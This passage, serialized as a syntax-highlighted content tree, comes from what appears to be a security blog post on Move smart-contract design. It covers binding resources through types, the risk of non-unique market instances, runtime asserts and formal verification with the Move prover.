underlying_coin",{"type":23,"tag":41,"props":6886,"children":6887},{"style":170},[6888],{"type":28,"value":1474},{"type":23,"tag":41,"props":6890,"children":6891},{"style":94},[6892],{"type":28,"value":5802},{"type":23,"tag":41,"props":6894,"children":6895},{"style":70},[6896],{"type":28,"value":1012},{"type":23,"tag":41,"props":6898,"children":6899},{"style":94},[6900],{"type":28,"value":6901},"Coin0",{"type":23,"tag":41,"props":6903,"children":6904},{"style":70},[6905],{"type":28,"value":6136},{"type":23,"tag":41,"props":6907,"children":6908},{"class":43,"line":155},[6909],{"type":23,"tag":41,"props":6910,"children":6911},{"style":48},[6912],{"type":28,"value":6913},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":41,"props":6915,"children":6916},{"class":43,"line":186},[6917,6922,6926,6930,6934,6938,6942,6946],{"type":23,"tag":41,"props":6918,"children":6919},{"style":858},[6920],{"type":28,"value":6921},"      collateralised_lp_coin",{"type":23,"tag":41,"props":6923,"children":6924},{"style":170},[6925],{"type":28,"value":1474},{"type":23,"tag":41,"props":6927,"children":6928},{"style":94},[6929],{"type":28,"value":5802},{"type":23,"tag":41,"props":6931,"children":6932},{"style":70},[6933],{"type":28,"value":1012},{"type":23,"tag":41,"props":6935,"children":6936},{"style":94},[6937],{"type":28,"value":6333},{"type":23,"tag":41,"props":6939,"children":6940},{"style":70},[6941],{"type":28,"value":1012},{"type":23,"tag":41,"props":6943,"children":6944},{"style":94},[6945],{"type":28,"value":6901},{"type":23,"tag":41,"props":6947,"children":6948},{"style":70},[6949],{"type":28,"value":6950},">>,\n",{"type":23,"tag":41,"props":6952,"children":6953},{"class":43,"line":195},[6954],{"type":23,"tag":41,"props":6955,"children":6956},{"style":48},[6957],{"type":28,"value":6958},"      /// Mint capability for LP Coin.\n",{"type":23,"tag":41,"props":6960,"children":6961},{"class":43,"line":905},[6962,6967,6971,6976,6980,6984,6988,6992],{"type":23,"tag":41,"props":6963,"children":6964},{"style":858},[6965],{"type":28,"value":6966},"      mint_capability",{"type":23,"tag":41,"props":6968,"children":6969},{"style":170},[6970],{"type":28,"value":1474},{"type":23,"tag":41,"props":6972,"children":6973},{"style":94},[6974],{"type":28,"value":6975}," MintCapability",{"type":23,"tag":41,"props":6977,"children":6978},{"style":70},[6979],{"type":28,"value":1012},{"type":23,"tag":41,"props":6981,"children":6982},{"style":94},[6983],{"type":28,"value":6333},{"type":23,"tag":41,"props":6985,"children":6986},{"style":70},[6987],{"type":28,"value":1012},{"type":23,"tag":41,"props":6989,"children":6990},{"style":94},[6991],{"type":28,"value":6901},{"type":23,"tag":41,"props":6993,"children":6994},{"style":70},[6995],{"type":28,"value":6950},{"type":23,"tag":41,"props":6997,"children":6998},{"class":43,"line":922},[6999],{"type":23,"tag":41,"props":7000,"children":7001},{"style":48},[7002],{"type":28,"value":7003},"      /// Burn capability for LP Coin.\n",{"type":23,"tag":41,"props":7005,"children":7006},{"class":43,"line":930},[7007,7012,7016,7021,7025,7029,7033,7037],{"type":23,"tag":41,"props":7008,"children":7009},{"style":858},[7010],{"type":28,"value":7011},"      burn_capability",{"type":23,"tag":41,"props":7013,"children":7014},{"style":170},[7015],{"type":28,"value":1474},{"type":23,"tag":41,"props":7017,"children":7018},{"style":94},[7019],{"type":28,"value":7020}," BurnCapability",{"type":23,"tag":41,"props":7022,"children":7023},{"style":70},[7024],{"type":28,"value":1012},{"type":23,"tag":41,"props":7026,"children":7027},{"style":94},[7028],{"type":28,"value":6333},{"type":23,"tag":41,"props":7030,"children":7031},{"style":70},[7032],{"type":28,"value":1012},{"type":23,"tag":41,"props":7034,"children":7035},{"style":94},[7036],{"type":28,"value":6901},{"type":23,"tag":41,"props":7038,"children":7039},{"style":70},[7040],{"type":28,"value":6950},{"type":23,"tag":41,"props":7042,"children":7043},{"class":43,"line":939},[7044],{"type":23,"tag":41,"props":7045,"children":7046},{"emptyLinePlaceholder":18},[7047],{"type":28,"value":82},{"type":23,"tag":41,"props":7049,"children":7050},{"class":43,"line":947},[7051],{"type":23,"tag":41,"props":7052,"children":7053},{"style":48},[7054],{"type":28,"value":6595},{"type":23,"tag":41,"props":7056,"children":7057},{"class":43,"line":985},[7058],{"type":23,"tag":41,"props":7059,"children":7060},{"style":70},[7061],{"type":28,"value":5872},{"type":23,"tag":24,"props":7063,"children":7064},{},[7065,7067,7072],{"type":28,"value":7066},"When creating a ",{"type":23,"tag":37,"props":7068,"children":7070},{"className":7069},[],[7071],{"type":28,"value":6802},{"type":28,"value":7073},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":31,"props":7075,"children":7077},{"className":2982,"code":7076,"language":2981,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[7078],{"type":23,"tag":37,"props":7079,"children":7080},{"__ignoreMap":7},[7081,7124,7150,7157,7178,7223,7230,7237,7244,7281,7288],{"type":23,"tag":41,"props":7082,"children":7083},{"class":43,"line":44},[7084,7089,7093,7098,7102,7107,7112,7116,7120],{"type":23,"tag":41,"props":7085,"children":7086},{"style":114},[7087],{"type":28,"value":7088},"  public",{"type":23,"tag":41,"props":7090,"children":7091},{"style":70},[7092],{"type":28,"value":1737},{"type":23,"tag":41,"props":7094,"children":7095},{"style":858},[7096],{"type":28,"value":7097},"friend",{"type":23,"tag":41,"props":7099,"children":7100},{"style":70},[7101],{"type":28,"value":866},{"type":23,"tag":41,"props":7103,"children":7104},{"style":858},[7105],{"type":28,"value":7106},"fun",{"type":23,"tag":41,"props":7108,"children":7109},{"style":858},[7110],{"type":28,"value":7111}," create",{"type":23,"tag":41,"props":7113,"children":7114},{"style":70},[7115],{"type":28,"value":1012},{"type":23,"tag":41,"props":7117,"children":7118},{"style":94},[7119],{"type":28,"value":6901},{"type":23,"tag":41,"props":7121,"children":7122},{"style":70},[7123],{"type":28,"value":6587},{"type":23,"tag":41,"props":7125,"children":7126},{"class":43,"line":54},[7127,7132,7136,7141,7146],{"type":23,"tag":41,"props":7128,"children":7129},{"style":858},[7130],{"type":28,"value":7131},"      lp_store",{"type":23,"tag":41,"props":7133,"children":7134},{"style":170},[7135],{"type":28,"value":1474},{"type":23,"tag":41,"props":7137,"children":7138},{"style":170},[7139],{"type":28,"value":7140}," &",{"type":23,"tag":41,"props":7142,"children":7143},{"style":858},[7144],{"type":28,"value":7145},"signer",{"type":23,"tag":41,"props":7147,"children":7148},{"style":70},[7149],{"type":28,"value":3506},{"type":23,"tag":41,"props":7151,"children":7152},{"class":43,"line":76},[7153],{"type":23,"tag":41,"props":7154,"children":7155},{"style":48},[7156],{"type":28,"value":6595},{"type":23,"tag":41,"props":7158,"children":7159},{"class":43,"line":85},[7160,7165,7169,7174],{"type":23,"tag":41,"props":7161,"children":7162},{"style":70},[7163],{"type":28,"value":7164},"  ) ",{"type":23,"tag":41,"props":7166,"children":7167},{"style":858},[7168],{"type":28,"value":6342},{"type":23,"tag":41,"props":7170,"children":7171},{"style":94},[7172],{"type":28,"value":7173}," Reserves",{"type":23,"tag":41,"props":7175,"children":7176},{"style":70},[7177],{"type":28,"value":102},{"type":23,"tag":41,"props":7179,"children":7180},{"class":43,"line":105},[7181,7186,7190,7195,7200,7204,7209,7213,7218],{"type":23,"tag":41,"props":7182,"children":7183},{"style":70},[7184],{"type":28,"value":7185},"      lp",{"type":23,"tag":41,"props":7187,"children":7188},{"style":170},[7189],{"type":28,"value":3479},{"type":23,"tag":41,"props":7191,"children":7192},{"style":114},[7193],{"type":28,"value":7194},"assert_is_lp_store",{"type":23,"tag":41,"props":7196,"children":7197},{"style":70},[7198],{"type":28,"value":7199},"(signer",{"type":23,"tag":41,"props":7201,"children":7202},{"style":170},[7203],{"type":28,"value":3479},{"type":23,"tag":41,"props":7205,"children":7206},{"style":114},[7207],{"type":28,"value":7208},"address_of",{"type":23,"tag":41,"props":7210,"children":7211},{"style":70},[7212],{"type":28,"value":1737},{"type":23,"tag":41,"props":7214,"children":7215},{"style":858},[7216],{"type":28,"value":7217},"lp_store",{"type":23,"tag":41,"props":7219,"children":7220},{"style":70},[7221],{"type":28,"value":7222},"));\n",{"type":23,"tag":41,"props":7224,"children":7225},{"class":43,"line":155},[7226],{"type":23,"tag":41,"props":7227,"children":7228},{"emptyLinePlaceholder":18},[7229],{"type":28,"value":82},{"type":23,"tag":41,"props":7231,"children":7232},{"class":43,"line":186},[7233],{"type":23,"tag":41,"props":7234,"children":7235},{"style":48},[7236],{"type":28,"value":6595},{"type":23,"tag":41,"props":7238,"children":7239},{"class":43,"line":195},[7240],{"type":23,"tag":41,"props":7241,"children":7242},{"emptyLinePlaceholder":18},[7243],{"type":28,"value":82},{"type":23,"tag":41,"props":7245,"children":7246},{"class":43,"line":905},[7247,7252,7256,7260,7264,7268,7272,7276],{"type":23,"tag":41,"props":7248,"children":7249},{"style":114},[7250],{"type":28,"value":7251},"      move_to",{"type":23,"tag":41,"props":7253,"children":7254},{"style":70},[7255],{"type":28,"value":1737},{"type":23,"tag":41,"props":7257,"children":7258},{"style":858},[7259],{"type":28,"value":7217},{"type":23,"tag":41,"props":7261,"children":7262},{"style":70},[7263],{"type":28,"value":970},{"type":23,"tag":41,"props":7265,"children":7266},{"style":94},[7267],{"type":28,"value":6802},{"type":23,"tag":41,"props":7269,"children":7270},{"style":70},[7271],{"type":28,"value":1012},{"type":23,"tag":41,"props":7273,"children":7274},{"style":94},[7275],{"type":28,"value":6901},{"type":23,"tag":41,"props":7277,"children":7278},{"style":70},[7279],{"type":28,"value":7280},"> {\n",{"type":23,"tag":41,"props":7282,"children":7283},{"class":43,"line":922},[7284],{"type":23,"tag":41,"props":7285,"children":7286},{"style":48},[7287],{"type":28,"value":6173},{"type":23,"tag":41,"props":7289,"children":7290},{"class":43,"line":930},[7291],{"type":23,"tag":41,"props":7292,"children":7293},{"style":70},[7294],{"type":28,"value":7295},"      });\n",{"type":23,"tag":24,"props":7297,"children":7298},{},[7299],{"type":28,"value":7300},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":24,"props":7302,"children":7303},{},[7304,7306,7312,7314,7320,7322,7327],{"type":28,"value":7305},"On the other hand, consider if you have a ",{"type":23,"tag":37,"props":7307,"children":7309},{"className":7308},[],[7310],{"type":28,"value":7311},"Position\u003CT>",{"type":28,"value":7313}," and a ",{"type":23,"tag":37,"props":7315,"children":7317},{"className":7316},[],[7318],{"type":28,"value":7319},"Market\u003CT>",{"type":28,"value":7321}," where ",{"type":23,"tag":37,"props":7323,"children":7325},{"className":7324},[],[7326],{"type":28,"value":1634},{"type":28,"value":7328}," is the coin type.",{"type":23,"tag":31,"props":7330,"children":7332},{"className":2982,"code":7331,"language":2981,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[7333],{"type":23,"tag":37,"props":7334,"children":7335},{"__ignoreMap":7},[7336,7364,7392,7399,7406,7413,7441,7461,7468],{"type":23,"tag":41,"props":7337,"children":7338},{"class":43,"line":44},[7339,7343,7348,7352,7356,7360],{"type":23,"tag":41,"props":7340,"children":7341},{"style":64},[7342],{"type":28,"value":6050},{"type":23,"tag":41,"props":7344,"children":7345},{"style":94},[7346],{"type":28,"value":7347}," Market",{"type":23,"tag":41,"props":7349,"children":7350},{"style":70},[7351],{"type":28,"value":1012},{"type":23,"tag":41,"props":7353,"children":7354},{"style":858},[7355],{"type":28,"value":5811},{"type":23,"tag":41,"props":7357,"children":7358},{"style":94},[7359],{"type":28,"value":819},{"type":23,"tag":41,"props":7361,"children":7362},{"style":70},[7363],{"type":28,"value":7280},{"type":23,"tag":41,"props":7365,"children":7366},{"class":43,"line":54},[7367,7372,7376,7380,7384,7388],{"type":23,"tag":41,"props":7368,"children":7369},{"style":858},[7370],{"type":28,"value":7371},"        reserves",{"type":23,"tag":41,"props":7373,"children":7374},{"style":170},[7375],{"type":28,"value":1474},{"type":23,"tag":41,"props":7377,"children":7378},{"style":94},[7379],{"type":28,"value":5802},{"type":23,"tag":41,"props":7381,"children":7382},{"style":70},[7383],{"type":28,"value":1012},{"type":23,"tag":41,"props":7385,"children":7386},{"style":94},[7387],{"type":28,"value":1634},{"type":23,"tag":41,"props":7389,"children":7390},{"style":70},[7391],{"type":28,"value":6136},{"type":23,"tag":41,"props":7393,"children":7394},{"class":43,"line":76},[7395],{"type":23,"tag":41,"props":7396,"children":7397},{"style":48},[7398],{"type":28,"value":6173},{"type":23,"tag":41,"props":7400,"children":7401},{"class":43,"line":85},[7402],{"type":23,"tag":41,"props":7403,"children":7404},{"style":70},[7405],{"type":28,"value":192},{"type":23,"tag":41,"props":7407,"children":7408},{"class":43,"line":105},[7409],{"type":23,"tag":41,"props":7410,"children":7411},{"emptyLinePlaceholder":18},[7412],{"type":28,"value":82},{"type":23,"tag":41,"props":7414,"children":7415},{"class":43,"line":155},[7416,7420,7425,7429,7433,7437],{"type":23,"tag":41,"props":7417,"children":7418},{"style":64},[7419],{"type":28,"value":6050},{"type":23,"tag":41,"props":7421,"children":7422},{"style":94},[7423],{"type":28,"value":7424}," Position",{"type":23,"tag":41,"props":7426,"children":7427},{"style":70},[7428],{"type":28,"value":1012},{"type":23,"tag":41,"props":7430,"children":7431},{"style":858},[7432],{"type":28,"value":5811},{"type":23,"tag":41,"props":7434,"children":7435},{"style":94},[7436],{"type":28,"value":819},{"type":23,"tag":41,"props":7438,"children":7439},{"style":70},[7440],{"type":28,"value":7280},{"type":23,"tag":41,"props":7442,"children":7443},{"class":43,"line":186},[7444,7449,7453,7457],{"type":23,"tag":41,"props":7445,"children":7446},{"style":858},[7447],{"type":28,"value":7448},"        amount",{"type":23,"tag":41,"props":7450,"children":7451},{"style":170},[7452],{"type":28,"value":1474},{"type":23,"tag":41,"props":7454,"children":7455},{"style":94},[7456],{"type":28,"value":5860},{"type":23,"tag":41,"props":7458,"children":7459},{"style":70},[7460],{"type":28,"value":3506},{"type":23,"tag":41,"props":7462,"children":7463},{"class":43,"line":195},[7464],{"type":23,"tag":41,"props":7465,"children":7466},{"style":48},[7467],{"type":28,"value":6173},{"type":23,"tag":41,"props":7469,"children":7470},{"class":43,"line":905},[7471],{"type":23,"tag":41,"props":7472,"children":7473},{"style":70},[7474],{"type":28,"value":192},{"type":23,"tag":24,"props":7476,"children":7477},{},[7478,7480,7485,7487,7492],{"type":28,"value":7479},"If ",{"type":23,"tag":37,"props":7481,"children":7483},{"className":7482},[],[7484],{"type":28,"value":7319},{"type":28,"value":7486}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":37,"props":7488,"children":7490},{"className":7489},[],[7491],{"type":28,"value":1634},{"type":28,"value":7493}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":24,"props":7495,"children":7496},{},[7497],{"type":28,"value":7498},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":31,"props":7500,"children":7502},{"className":2982,"code":7501,"language":2981,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[7503],{"type":23,"tag":37,"props":7504,"children":7505},{"__ignoreMap":7},[7506,7514,7576,7625,7677,7702,7714,7736,7744,7757],{"type":23,"tag":41,"props":7507,"children":7508},{"class":43,"line":44},[7509],{"type":23,"tag":41,"props":7510,"children":7511},{"style":48},[7512],{"type":28,"value":7513},"    /// Get the price of the token per lamport.\n",{"type":23,"tag":41,"props":7515,"children":7516},{"class":43,"line":54},[7517,7522,7526,7531,7535,7540,7544,7549,7553,7557,7562,7567,7572],{"type":23,"tag":41,"props":7518,"children":7519},{"style":858},[7520],{"type":28,"value":7521},"    public",{"type":23,"tag":41,"props":7523,"children":7524},{"style":858},[7525],{"type":28,"value":6205},{"type":23,"tag":41,"props":7527,"children":7528},{"style":114},[7529],{"type":28,"value":7530}," get_price",{"type":23,"tag":41,"props":7532,"children":7533},{"style":70},[7534],{"type":28,"value":1737},{"type":23,"tag":41,"props":7536,"children":7537},{"style":858},[7538],{"type":28,"value":7539},"type_info",{"type":23,"tag":41,"props":7541,"children":7542},{"style":170},[7543],{"type":28,"value":1474},{"type":23,"tag":41,"props":7545,"children":7546},{"style":94},[7547],{"type":28,"value":7548}," TypeInfo",{"type":23,"tag":41,"props":7550,"children":7551},{"style":70},[7552],{"type":28,"value":2678},{"type":23,"tag":41,"props":7554,"children":7555},{"style":170},[7556],{"type":28,"value":1474},{"type":23,"tag":41,"props":7558,"children":7559},{"style":94},[7560],{"type":28,"value":7561}," Decimal",{"type":23,"tag":41,"props":7563,"children":7564},{"style":858},[7565],{"type":28,"value":7566}," acquires",{"type":23,"tag":41,"props":7568,"children":7569},{"style":94},[7570],{"type":28,"value":7571}," Oracle",{"type":23,"tag":41,"props":7573,"children":7574},{"style":70},[7575],{"type":28,"value":102},{"type":23,"tag":41,"props":7577,"children":7578},{"class":43,"line":76},[7579,7583,7588,7592,7597,7601,7606,7611,7616,7621],{"type":23,"tag":41,"props":7580,"children":7581},{"style":64},[7582],{"type":28,"value":3066},{"type":23,"tag":41,"props":7584,"children":7585},{"style":858},[7586],{"type":28,"value":7587}," oracle",{"type":23,"tag":41,"props":7589,"children":7590},{"style":170},[7591],{"type":28,"value":3017},{"type":23,"tag":41,"props":7593,"children":7594},{"style":858},[7595],{"type":28,"value":7596}," borrow_global_mut",{"type":23,"tag":41,"props":7598,"children":7599},{"style":70},[7600],{"type":28,"value":1012},{"type":23,"tag":41,"props":7602,"children":7603},{"style":94},[7604],{"type":28,"value":7605},"Oracle",{"type":23,"tag":41,"props":7607,"children":7608},{"style":70},[7609],{"type":28,"value":7610},">(",{"type":23,"tag":41,"props":7612,"children":7613},{"style":170},[7614],{"type":28,"value":7615},"@",{"type":23,"tag":41,"props":7617,"children":7618},{"style":858},[7619],{"type":28,"value":7620},"oracle",{"type":23,"tag":41,"props":7622,"children":7623},{"style":70},[7624],{"type":28,"value":3825},{"type":23,"tag":41,"props":7626,"children":7627},{"class":43,"line":85},[7628,7632,7637,7641,7646,7650,7655,7659,7664,7668,7673],{"type":23,"tag":41,"props":7629,"children":7630},{"style":64},[7631],{"type":28,"value":3066},{"type":23,"tag":41,"props":7633,"children":7634},{"style":858},[7635],{"type":28,"value":7636}," price",{"type":23,"tag":41,"props":7638,"children":7639},{"style":170},[7640],{"type":28,"value":3017},{"type":23,"tag":41,"props":7642,"children":7643},{"style":70},[7644],{"type":28,"value":7645}," table",{"type":23,"tag":41,"props":7647,"children":7648},{"style":170},[7649],{"type":28,"value":3479},{"type":23,"tag":41,"props":7651,"children":7652},{"style":858},[7653],{"type":28,"value":7654},"borrow_mut_with_default",{"type":23,"tag":41,"props":7656,"children":7657},{"style":70},[7658],{"type":28,"value":1012},{"type":23,"tag":41,"props":7660,"children":7661},{"style":94},[7662],{"type":28,"value":7663},"TypeInfo",{"type":23,"tag":41,"props":7665,"children":7666},{"style":70},[7667],{"type":28,"value":970},{"type":23,"tag":41,"props":7669,"children":7670},{"style":94},[7671],{"type":28,"value":7672},"Decimal",{"type":23,"tag":41,"props":7674,"children":7675},{"style":70},[7676],{"type":28,"value":6587},{"type":23,"tag":41,"props":7678,"children":7679},{"class":43,"line":105},[7680,7685,7689,7693,7697],{"type":23,"tag":41,"props":7681,"children":7682},{"style":170},[7683],{"type":28,"value":7684},"            &",{"type":23,"tag":41,"props":7686,"children":7687},{"style":64},[7688],{"type":28,"value":3723},{"type":23,"tag":41,"props":7690,"children":7691},{"style":858},[7692],{"type":28,"value":7587},{"type":23,"tag":41,"props":7694,"children":7695},{"style":170},[7696],{"type":28,"value":706},{"type":23,"tag":41,"props":7698,"children":7699},{"style":70},[7700],{"type":28,"value":7701},"prices,\n",{"type":23,"tag":41,"props":7703,"children":7704},{"class":43,"line":155},[7705,7710],{"type":23,"tag":41,"props":7706,"children":7707},{"style":858},[7708],{"type":28,"value":7709},"            type_info",{"type":23,"tag":41,"props":7711,"children":7712},{"style":70},[7713],{"type":28,"value":3506},{"type":23,"tag":41,"props":7715,"children":7716},{"class":43,"line":186},[7717,7722,7726,7731],{"type":23,"tag":41,"props":7718,"children":7719},{"style":70},[7720],{"type":28,"value":7721},"            decimal",{"type":23,"tag":41,"props":7723,"children":7724},{"style":170},[7725],{"type":28,"value":3479},{"type":23,"tag":41,"props":7727,"children":7728},{"style":114},[7729],{"type":28,"value":7730},"one",{"type":23,"tag":41,"props":7732,"children":7733},{"style":70},[7734],{"type":28,"value":7735},"()\n",{"type":23,"tag":41,"props":7737,"children":7738},{"class":43,"line":195},[7739],{"type":23,"tag":41,"props":7740,"children":7741},{"style":70},[7742],{"type":28,"value":7743},"        );\n",{"type":23,"tag":41,"props":7745,"children":7746},{"class":43,"line":905},[7747,7752],{"type":23,"tag":41,"props":7748,"children":7749},{"style":170},[7750],{"type":28,"value":7751},"        *",{"type":23,"tag":41,"props":7753,"children":7754},{"style":858},[7755],{"type":28,"value":7756},"price\n",{"type":23,"tag":41,"props":7758,"children":7759},{"class":43,"line":922},[7760],{"type":23,"tag":41,"props":7761,"children":7762},{"style":70},[7763],{"type":28,"value":192},{"type":23,"tag":24,"props":7765,"children":7766},{},[7767,7769,7774],{"type":28,"value":7768},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":2913,"props":7770,"children":7771},{},[7772],{"type":28,"value":7773},"instance",{"type":28,"value":7775}," of another resource (which is possible in Diem style move).",{"type":23,"tag":24,"props":7777,"children":7778},{},[7779],{"type":28,"value":7780},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":5436,"props":7782,"children":7783},{},[7784,7789],{"type":23,"tag":421,"props":7785,"children":7786},{},[7787],{"type":28,"value":7788},"Have unique initializers for your resources",{"type":23,"tag":421,"props":7790,"children":7791},{},[7792],{"type":28,"value":7793},"Associate resources with instances directly",{"type":23,"tag":446,"props":7795,"children":7797},{"id":7796},"formal-verification",[7798],{"type":28,"value":7799},"Formal Verification",{"type":23,"tag":24,"props":7801,"children":7802},{},[7803],{"type":28,"value":7804},"Formal verification is another exciting feature.",{"type":23,"tag":24,"props":7806,"children":7807},{},[7808],{"type":28,"value":7809},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":24,"props":7811,"children":7812},{},[7813,7815,7820],{"type":28,"value":7814},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":2913,"props":7816,"children":7817},{},[7818],{"type":28,"value":7819},"what",{"type":28,"value":7821}," to prove.",{"type":23,"tag":24,"props":7823,"children":7824},{},[7825,7827,7834],{"type":28,"value":7826},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":458,"props":7828,"children":7831},{"href":7829,"rel":7830},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[462],[7832],{"type":28,"value":7833},"Solana AMM rounding issue",{"type":28,"value":7835}," we reported.",{"type":23,"tag":24,"props":7837,"children":7838},{},[7839],{"type":28,"value":7840},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":31,"props":7842,"children":7844},{"className":2982,"code":7843,"language":2981,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[7845],{"type":23,"tag":37,"props":7846,"children":7847},{"__ignoreMap":7},[7848,7909],{"type":23,"tag":41,"props":7849,"children":7850},{"class":43,"line":44},[7851,7856,7861,7865,7870,7874,7879,7883,7887,7892,7896,7900,7905],{"type":23,"tag":41,"props":7852,"children":7853},{"style":64},[7854],{"type":28,"value":7855},"  let",{"type":23,"tag":41,"props":7857,"children":7858},{"style":858},[7859],{"type":28,"value":7860}," cmp",{"type":23,"tag":41,"props":7862,"children":7863},{"style":170},[7864],{"type":28,"value":3017},{"type":23,"tag":41,"props":7866,"children":7867},{"style":70},[7868],{"type":28,"value":7869}," u256",{"type":23,"tag":41,"props":7871,"children":7872},{"style":170},[7873],{"type":28,"value":3479},{"type":23,"tag":41,"props":7875,"children":7876},{"style":114},[7877],{"type":28,"value":7878},"compare",{"type":23,"tag":41,"props":7880,"children":7881},{"style":70},[7882],{"type":28,"value":1737},{"type":23,"tag":41,"props":7884,"children":7885},{"style":170},[7886],{"type":28,"value":855},{"type":23,"tag":41,"props":7888,"children":7889},{"style":858},[7890],{"type":28,"value":7891},"lp_value_after_swap_and_fee",{"type":23,"tag":41,"props":7893,"children":7894},{"style":70},[7895],{"type":28,"value":970},{"type":23,"tag":41,"props":7897,"children":7898},{"style":170},[7899],{"type":28,"value":855},{"type":23,"tag":41,"props":7901,"children":7902},{"style":858},[7903],{"type":28,"value":7904},"lp_value_before_swap_u256",{"type":23,"tag":41,"props":7906,"children":7907},{"style":70},[7908],{"type":28,"value":3825},{"type":23,"tag":41,"props":7910,"children":7911},{"class":43,"line":54},[7912,7917,7921,7926,7930,7934],{"type":23,"tag":41,"props":7913,"children":7914},{"style":114},[7915],{"type":28,"value":7916},"  assert!",{"type":23,"tag":41,"props":7918,"children":7919},{"style":70},[7920],{"type":28,"value":1737},{"type":23,"tag":41,"props":7922,"children":7923},{"style":858},[7924],{"type":28,"value":7925},"cmp",{"type":23,"tag":41,"props":7927,"children":7928},{"style":170},[7929],{"type":28,"value":3282},{"type":23,"tag":41,"props":7931,"children":7932},{"style":164},[7933],{"type":28,"value":178},{"type":23,"tag":41,"props":7935,"children":7936},{"style":70},[7937],{"type":28,"value":7938},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":24,"props":7940,"children":7941},{},[7942,7944,7949],{"type":28,"value":7943},"The move prover really shines when we're proving relationships ",{"type":23,"tag":2913,"props":7945,"children":7946},{},[7947],{"type":28,"value":7948},"between",{"type":28,"value":7950}," functions.",{"type":23,"tag":24,"props":7952,"children":7953},{},[7954,7956,7962],{"type":28,"value":7955},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":37,"props":7957,"children":7959},{"className":7958},[],[7960],{"type":28,"value":7961},"no_free_money_theorem",{"type":28,"value":7963}," in the move repository.",{"type":23,"tag":31,"props":7965,"children":7967},{"className":2982,"code":7966,"language":2981,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[7968],{"type":23,"tag":37,"props":7969,"children":7970},{"__ignoreMap":7},[7971,7979,8067,8109,8130,8137,8153,8179,8206,8231],{"type":23,"tag":41,"props":7972,"children":7973},{"class":43,"line":44},[7974],{"type":23,"tag":41,"props":7975,"children":7976},{"style":48},[7977],{"type":28,"value":7978},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":41,"props":7980,"children":7981},{"class":43,"line":54},[7982,7986,7991,7995,8000,8004,8008,8012,8017,8021,8025,8029,8033,8037,8042,8046,8050,8054,8058,8063],{"type":23,"tag":41,"props":7983,"children":7984},{"style":858},[7985],{"type":28,"value":6568},{"type":23,"tag":41,"props":7987,"children":7988},{"style":114},[7989],{"type":28,"value":7990}," no_free_money_theorem",{"type":23,"tag":41,"props":7992,"children":7993},{"style":70},[7994],{"type":28,"value":1737},{"type":23,"tag":41,"props":7996,"children":7997},{"style":858},[7998],{"type":28,"value":7999},"coin1_in",{"type":23,"tag":41,"props":8001,"children":8002},{"style":170},[8003],{"type":28,"value":1474},{"type":23,"tag":41,"props":8005,"children":8006},{"style":94},[8007],{"type":28,"value":5860},{"type":23,"tag":41,"props":8009,"children":8010},{"style":70},[8011],{"type":28,"value":970},{"type":23,"tag":41,"props":8013,"children":8014},{"style":858},[8015],{"type":28,"value":8016},"coin2_in",{"type":23,"tag":41,"props":8018,"children":8019},{"style":170},[8020],{"type":28,"value":1474},{"type":23,"tag":41,"props":8022,"children":8023},{"style":94},[8024],{"type":28,"value":5860},{"type":23,"tag":41,"props":8026,"children":8027},{"style":70},[8028],{"type":28,"value":2678},{"type":23,"tag":41,"props":8030,"children":8031},{"style":170},[8032],{"type":28,"value":1474},{"type":23,"tag":41,"props":8034,"children":8035},{"style":70},[8036],{"type":28,"value":142},{"type":23,"tag":41,"props":8038,"children":8039},{"style":94},[8040],{"type":28,"value":8041},"u64",{"type":23,"tag":41,"props":8043,"children":8044},{"style":70},[8045],{"type":28,"value":970},{"type":23,"tag":41,"props":8047,"children":8048},{"style":94},[8049],{"type":28,"value":8041},{"type":23,"tag":41,"props":8051,"children":8052},{"style":70},[8053],{"type":28,"value":866},{"type":23,"tag":41,"props":8055,"children":8056},{"style":858},[8057],{"type":28,"value":6342},{"type":23,"tag":41,"props":8059,"children":8060},{"style":94},[8061],{"type":28,"value":8062}," 